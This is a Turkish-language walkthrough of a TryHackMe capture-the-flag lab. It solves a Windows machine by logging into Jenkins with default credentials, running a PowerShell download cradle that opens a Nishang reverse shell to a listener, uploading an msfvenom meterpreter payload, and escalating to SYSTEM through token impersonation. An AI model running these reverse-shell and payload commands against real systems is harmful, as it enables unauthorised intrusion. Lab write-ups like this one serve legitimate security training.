Merhaba, bu yazıda Tryhackme’de bulunan Steel Mountain makinesinin çözümünü inceleyeceğiz. Openvpn bağlantısı ile ilgili bilgi almak istiyorsanız Tryhackme CTF’deki ilk yazımızı okuyabilirsiniz. Bağlantı sağlandıktan sonra Tryhackme’de bulunan makine deploy edilir ve makinenin ip adresi öğrenilir. Bu çözümde kullandığım ip adresi 10.10.39.220 olarak belirlendi. Artık bilgi toplama aşamasına geçilebilir.
nmap -A -T4 10.10.39.220 ile nmap taraması yapıldığında 80, 3389, 8080 portu açık olduğu görülüyor.
8080 portuna gidildiğinde Jenkins oturum açma sayfası ile karşılaşılıyor.(Jenkins, ücretsiz ve açık kaynaklı bir otomasyon sunucusudur)
Varsayılan kullanıcı adı ve parola girildiğinde giriş yapılabiliyor. Eğer giriş yapılmasaydı brute force saldırısı denenebilirdi. Varsayılan kullanıcı adı ve parolanın öğrenilmesi için google’da jenkins default credentials araması yapılabilir ve admin/password olduğu öğreniliyor.
Admin sayfasında herhangi bir proje sayfası oluşturulup konfigüre sekmesine gidilir.
Konfigüre sayfasında sunucu tarafında windows komutları çalıştırılabiliyor. O yüzden powershell tcp dosyası yüklenerek çalıştırılabilir. Böylelikle netcat ile bağlantı kurularak kullanıcı yetkileri elde edilebilir.
wget https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
komutuyla ihtiyaç duyulan dosya indirilir.
sudo python3 -m http.server 80 ile http server başlatılır.
nc -lvnp 4444 portunda dinleme başlatılır.
powershell invoke-expression (New-Object Net.WebClient).DownloadString(‘http://10.11.3.198/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress 10.9.153.179 -Port 4444 ile powershell komutu çalıştırıldıktan sonra netcat bağlantısı kurulmuş olur.
Masaüstü dizinindeki user dosyası görüntülendiğinde ilk flag’a ulaşılmış olur.
msfvenom -p windows/meterpreter/reverse_tcp -a x86 –encoder x86/shikata_ga_nai LHOST=10.9.153.179 LPORT=4444-f exe -o shell.exe ile yetki yükseltmek için msfvenom ile shell.exe adında payload oluşturulur.
powershell “(new-object system.net.webclient).downloadfile(‘http://10.9.153.179:80/shell.exe’,’shell.exe’)” ile payload karşı tarafa yüklenilir.
İlerleyen aşamada meterpreter bağlantısı kurulacağı için msfconsole komutuyla metasploit başlatılır ve gerekli konfigürasyon ayarları yapılır.
Start-Process shell.exe ile payload çalıştırılır.
Payload çalıştırıldıktan sonra metasploit’de sırasıyla run ve shell komutlarıyla meterpreter bağlantısı sağlanır.
whoami /priv ile yetkilendirme ayrıcalıkları görüntülenebilir. SeDebugPrivilege, SeImpersonatePrivilege yetkilerinin enabled olduğu görülüyor. Bu güvenlik açığı istismar edilebilir. Bunun için metasploit’e dönülür ve load incognito ile incognito modülü başarıyla yüklenir.
Administrators token’ını taklit etmek için impersonate_token “BUILTIN \ Administrators” komutunu kullanılır.
ps ile çalışan process’ler görüntülenir.
migrate 668 ile 668 işlemine admin NT AUTHORITY\SYSTEM yetkileri ile erişilir.
Tekrardan shell olunduktan sonra config dizinine gidilir ve root flag’ına da ulaşılır.